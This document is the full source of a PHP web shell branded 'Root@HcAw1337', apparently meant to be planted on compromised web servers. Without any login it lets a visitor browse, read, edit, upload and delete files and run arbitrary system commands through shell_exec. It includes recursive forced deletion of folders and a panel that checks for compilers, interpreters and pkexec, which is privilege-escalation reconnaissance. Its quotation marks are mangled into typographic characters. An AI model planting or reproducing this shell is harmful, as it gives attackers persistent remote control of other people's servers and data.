<html><head><link rel=»stylesheet» href=»https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css»><style>@import url(‘https://fonts.googleapis.com/css?family=Dose’);@import url(‘https://fonts.googleapis.com/css?family=Bungee’);td,th,thead{border:1px solid #fff;padding:5px;box-shadow: 0 0 10px 0 #707070}tr{background-color:#fff}body{font-family:»Dose»,cursive;text-shadow:0px 0px 1px #707070}</style></head>
<body><center>
<?php
error_reporting(0);
$currentPath = getcwd();
$pathComponents = explode(DIRECTORY_SEPARATOR, $currentPath);
echo «<font face=’Bungee’ size=’3′><h1> Root@HcAw1337</h1></font><div class=’container’><div id=’pw’>Home: «;
foreach ($pathComponents as $index => $component) {
    $partialPath = implode(DIRECTORY_SEPARATOR, array_slice($pathComponents, 0, $index + 1));
    $partialPath = str_replace(«%2F», «/», rawurlencode($partialPath));
    echo «<a href=’?path=» . $partialPath . «‘>» . $component . «</a>»;
    if ($index < count($pathComponents) – 1) {
        echo «/»;
    }
}
echo «</div><br>»;
?>
  <form method=»GET»><input type=»text» name=»path» autocomplete=»off» size=»100″ class=»textinput» required><input type=»submit» class=»submit»></form>
  <?php
  if (htmlspecialchars(isset($_GET[«path»]))) {
    $path = $_GET[«path»];
    $file = $_GET[«file»];
    $folder = $_GET[«folder»];
    $folder_name = basename($folder);
    $file_name = basename($file);
    ?>
    <script>
      const path = document.querySelector(‘input[name=path]’)
      path.value = ‘<?php echo $_GET[«path»]; ?>’
    </script><a href=»?path=<?php echo htmlspecialchars($_GET[«path»]); ?>&action=createfolder»><button type=»button» class=»button-tools»>+Folder</button></a>
<a href=»?path=<?php echo htmlspecialchars($_GET[«path»]); ?>&action=createfile»><button type=»button» class=»button-tools»>+File</button></a>
<a href=»?path=<?php echo htmlspecialchars($_GET[«path»]); ?>&action=spawntools»><button type=»button» class=»button-tools»>Spawn ToolKit</button></a>
    <a href=»?path=<?php echo htmlspecialchars($_GET[«path»]); ?>&action=info»><button type=»button» class=»button-tools»>Info Min</button></a>
<a href=»?path=<?php echo htmlspecialchars($_GET[«path»]); ?>&action=upload»><button type=»button» class=»button-tools»>Upload</button></a>
<a href=»?path=<?php echo htmlspecialchars($_GET[«path»]); ?>&action=cmd»><button type=»button» class=»button-tools»>Command</button></a><br><br>
    <?php
    if ($_GET[«action»] == «view») {
      echo «<p class=’text-center’>Filename: $file_name</p>»;
      echo «<textarea class=’textarea’ disabled>».htmlspecialchars(file_get_contents($file)).»</textarea>»;
    } elseif ($_GET[«action»] == «edit» && $file) {
        ?>
        <form method=»POST»><p>Filename:<?php echo $file_name; ?></p><?php echo «<textarea name=’content’ class=’textarea’>».htmlspecialchars(file_get_contents($file)).» </textarea>»; ?><input type=»submit» name=»edit» class=»submit»></form>
        <?php
        if (isset($_POST[«edit»])) {
          $editted = base64_encode($_POST[«content»]);
          $save = saveme($file, base64_decode($editted));
          if ($save) {
            echo «<script>alert(‘Edit $file_name success’)</script>»;
            echo «<script>window.location = ‘?path=$path&action=edit&file=$file'</script>»;
          } else {
            echo «Edit $file_name failed»;
          }
        }
      } elseif ($_GET[«action»] == «rename» && $file) {
        renames($file, $path, $file_name);
      } elseif ($_GET[«action»] == «rename» && $folder) {
        renames($folder, $path, $folder_name);
      } elseif ($_GET[«action»] == «delete» && $file) {
        if (unlink($file)) {
          echo «<script>alert(‘Delete $file_name success’)</script>»;
          echo «<script>window.location = ‘?path=$path'</script>»;
        } else {
          echo «Delete $file_name failed»;
        }
      } elseif ($_GET[«action»] == «delete» && $folder) {
        if (is_dir($folder)) {
          if (is_writable($folder)) {
            @rmdir($folder);
            @shell_exec(«rm -rf $folder»);
            @shell_exec(«rmdir /s /q $folder»);
            echo «<script>alert(‘$folder_name Deleted’)</script>»;
            echo «<script>window.location = ‘?path=$path'</script>»;
          } else {
            echo «Delete $folder_name failed»;
          }
        }
      } elseif ($_GET[«action»] == «spawntools») {
        $save = saveme($path.»/tools.php», base64_decode($tools));
        echo «<center>»;
        if ($save) {
          echo «<script>alert(‘Spawn Toolkit tools.php success’)</script>»;
          echo «<script>window.location = ‘?path=$path'</script>»;
        } else {
          echo «Spawn Toolkit failed»;
        }
        echo «</center>»;
      } elseif ($_GET[«action»] == «createfile») {
        ?>
        <form method=»POST»><input type=»text» name=»filename» class=»textinput»><textarea name=»filetext» class=»textarea»></textarea><input type=»submit» name=»touch» class=»submit»></form>
        <?php
        if (isset($_POST[«touch»])) {
          $filename = $_POST[«filename»];
          $filetext = base64_encode($_POST[«filetext»]);
          $save = saveme($path.»/».$filename, base64_decode($filetext));
          if ($save) {
            echo «<script>alert(‘».$filename.» has successfully created’)</script>»;
            echo «<script>window.location = ‘?path=».htmlspecialchars($path).»‘</script>»;
          } else {
            echo «Create file failed»;
          }
        }
      } elseif ($_GET[«action»] == «createfolder») {
        ?>
        <form method=»POST»><input type=»text» name=»foldername» autocomplete=»off» class=»inputtext textinput»><input type=»submit» name=»cfolder» class=»submit»></form>
        <?php
        if (isset($_POST[«cfolder»])) {
          $fname = $_POST[«foldername»];
          if (@mkdir($path.»/».$fname)) {
            echo «<script>alert(‘$fname Created’)</script>»;
            echo «<script>window.location = ‘?path=».htmlspecialchars($path).»‘</script>»;
          } else {
            echo «Create folder failed»;
          }
        }
      } elseif ($_GET[«action»] == «upload») {
        ?>
        <form method=»POST» enctype=»multipart/form-data»><input type=»file» name=»nax_file» id=»naxx»><input type=»submit» name=»upkan» class=»submit»></form>
        <?php
        if (isset($_POST[«upkan»])) {
          if (move_uploaded_file($_FILES[«nax_file»][«tmp_name»], $path.»/».$_FILES[«nax_file»][«name»])) {
            $file = $_FILES[«nax_file»][«name»];
            echo «<script>alert(‘$file uploaded’)</script>»;
            echo «<script>window.location = ‘?path=».htmlspecialchars($path).»‘</script>»;
          } else {
            echo «<center>Upload fail</center>»;
          }
        }
      } elseif ($_GET[«action»] == «cmd») {
        ?>
        <form method=»POST»><input type=»text» name=»cmd» autocomplete=»off» size=»100″ class=»inputtext textinput»><input type=»submit» name=»exec» class=»submit»></form>
        <?php
        if (isset($_POST[«exec»])) {
          $cmd = $_POST[«cmd»];
          echo «<div class=’cmd’>».@shell_exec($cmd).»</div>»;
        }
      } elseif ($_GET[«action»] == «info») {
        echo ‘<div class=»wrap»>’;
        infomin();
        echo ‘</div>’;
      } else {
          ?>
          <div class=»wrap»><table><thead><tr><th>Items</th><th>Size</th><th>Permission</th><th>Action</th></tr></thead><tbody>
                <?php
                $scan = scandir($path);
                foreach ($scan as $folders) {
                  if (!is_dir($path.»/».$folders) || $folders == «..» || $folders == «.») {
                    continue;
                  }
                  ?>
                  <tr><td nowrap=»nowrap» width=»450″><?php echo «<a href=’?path=$path/$folders’><i class=’fas fa-folder’></i> $folders</a>»; ?></td><td nowrap=»nowrap» width=»100″>—</td><td nowrap=»nowrap» width=»150″>
                        <?php
                        if (is_writable($path.»/».$folders)) {
                          $color = «lime»;
                        } else {
                          $color = «red»;
                        }
                        echo «<font color=’$color’>».hi_permission($path.»/».$folders).»</font>»;
                        ?>
                    </td><td nowrap=»nowrap» width=»90″>
                      <?php echo «
            <a href=’?path=$path&action=rename&folder=$path/$folders’><i class=’fas fa-pen’></i></a><a href=’?path=$path&action=delete&folder=$path/$folders’><i class=’fas fa-trash-alt’></i></a>
            «; ?>
                    </td></tr>
                  <?php
                }
                foreach ($scan as $files) {
                  if (is_file($path.»/».$files)) {
                    ?>
                    <tr><td nowrap=»nowrap» width=»450″><?php echo «<a href=’?path=$path&action=view&file=$path/$files’><i class=’fas fa-file’></i> $files</a>»; ?></td><td nowrap=»nowrap» width=»100″><?php echo «».Size($path.»/».$files).»»; ?></td><td nowrap=»nowrap» width=»150″>
                          <?php
                          if (is_writable($path.»/».$files)) {
                            $color = «lime»;
                          } else {
                            $color = «red»;
                          }
                          echo «<font color=’$color’>».hi_permission($path.»/».$folders).»</font>»;
                          ?>
                      </td><td nowrap=»nowrap» width=»90″>
                        <?php echo «
              <a href=’?path=$path&action=edit&file=$path/$files’><i class=’fas fa-edit’></i></a><a href=’?path=$path&action=rename&file=$path/$files’><i class=’fas fa-pen’></i></a><a href=’?path=$path&action=delete&file=$path/$files’><i class=’fas fa-trash-alt’></i></a>
              «; ?>
                      </td></tr>
                    <?php
                  }
                }
                echo «</tbody></table></div>»;
              }
            }
          function saveme($name, $content) {
            $open = fopen($name, «w»);
            fwrite($open, $content);
            fclose($open);
            return $open;
          }
          function renames($item, $path, $name) {
            ?>
            <form method=»POST»><input type=»text» name=»newname» value=»<?php echo $name; ?>» size=»50″ class=»textinput inputtext»><input type=»submit» name=»rename» class=»submit»></form>
            <?php
            if (isset($_POST[«rename»])) {
              $new = $_POST[«newname»];
              if (rename($item, $path.»/».$new)) {
                echo «<script>alert(‘$name successfully renamed’)</script>»;
                echo «<script>window.location = ‘?path=$path'</script>»;
              } else {
                echo «Rename failed»;
              }
            }
          }
          function Size($path) {
            $bytes = sprintf(‘%u’, filesize($path));
            if ($bytes > 0) {
              $unit = intval(log($bytes, 1024));
              $units = array(‘B’, ‘KB’, ‘MB’, ‘GB’);
              if (array_key_exists($unit, $units) === true) {
                return sprintf(‘%d %s’, $bytes / pow(1024, $unit), $units[$unit]);
              }
            }
            return $bytes;
          }
          function infomin() {
            $curl = (function_exists(«curl_version»)) ? «<font color=’lime’>ON</font>» : «<font color=’red’>OFF</font>»;
            $wget = (@shell_exec(«wget –help»)) ? «<font color=’lime’>ON</font>» : «<font color=’red’>OFF</font>»;
            $python = (@shell_exec(«python –help»)) ? «<font color=’lime’>ON</font>» : «<font color=’red’>OFF</font>»;
            $perl = (@shell_exec(«perl –help»)) ? «<font color=’lime’>ON</font>» : «<font color=’red’>OFF</font>»;
            $ruby = (@shell_exec(«ruby –help»)) ? «<font color=’lime’>ON</font>» : «<font color=’red’>OFF</font>»;
            $gcc = (@shell_exec(«gcc –help»)) ? «<font color=’lime’>ON</font>» : «<font color=’red’>OFF</font>»;
            $pkexec = (@shell_exec(«pkexec –version»)) ? «<font color=’lime’>ON</font>» : «<font color=’red’>OFF</font>»;
            $disfuncs = @ini_get(«disable_functions»);
            $showit = (!empty($disfuncs)) ? «<font color=’red’>$disfuncs</font>» : «<font color=’lime’>NONE</font>»;
            echo «<div class=’infomin wrap’>»;
            echo «OS : «.php_uname().»<br>»;
            echo «SERVER IP : «.$_SERVER[«SERVER_ADDR»].»<br>»;
            echo «SOFTWARE: «.$_SERVER[«SERVER_SOFTWARE»].»<br>»;
            echo «Disabled Functions : $showit<br>»;
            echo «CURL : $curl | WGET : $wget | PERL : $perl | RUBY : $ruby | PYTHON : $python | GCC : $gcc | PKEXEC : $pkexec»;
            echo «</div>»;
          }
          function hi_permission($items) {
            $perms = fileperms($items);
            if (($perms & 0xC000) == 0xC000) {
              $info = ‘s’;
            } elseif (($perms & 0xA000) == 0xA000) {
              $info = ‘l’;
            } elseif (($perms & 0x8000) == 0x8000) {
              $info = ‘-‘;
            } elseif (($perms & 0x6000) == 0x6000) {
              $info = ‘b’;
            } elseif (($perms & 0x4000) == 0x4000) {
              $info = ‘d’;
            } elseif (($perms & 0x2000) == 0x2000) {
              $info = ‘c’;
            } elseif (($perms & 0x1000) == 0x1000) {
              $info = ‘p’;
            } else {
              $info = ‘u’;
            }
            $info .= (($perms & 0x0100) ? ‘r’ : ‘-‘);
            $info .= (($perms & 0x0080) ? ‘w’ : ‘-‘);
            $info .= (($perms & 0x0040) ?
              (($perms & 0x0800) ? ‘s’ : ‘x’) :
              (($perms & 0x0800) ? ‘S’ : ‘-‘));
            $info .= (($perms & 0x0020) ? ‘r’ : ‘-‘);
            $info .= (($perms & 0x0010) ? ‘w’ : ‘-‘);
            $info .= (($perms & 0x0008) ?
              (($perms & 0x0400) ? ‘s’ : ‘x’) :
              (($perms & 0x0400) ? ‘S’ : ‘-‘));
            $info .= (($perms & 0x0004) ? ‘r’ : ‘-‘);
            $info .= (($perms & 0x0002) ? ‘w’ : ‘-‘);
            $info .= (($perms & 0x0001) ?
              (($perms & 0x0200) ? ‘t’ : ‘x’) :
              (($perms & 0x0200) ? ‘T’ : ‘-‘));
            return $info;
          }
          ?>
        </div><script>
          const file = document.querySelector(‘input[type=»file»]’)
          const label = document.querySelector(‘label[for=»naxx»]’)
          file.addEventListener(‘change’, () => {
            if (file.value.length == ‘0’) {
              label.innerText = ‘Choose File Here’
            } else if (file.value.length >= ’30’) {
              value = file.value.substring(0, 30) + «…»
              label.innerText = value
            } else {
              label.innerText = file.value
            }
          })
        </script></body>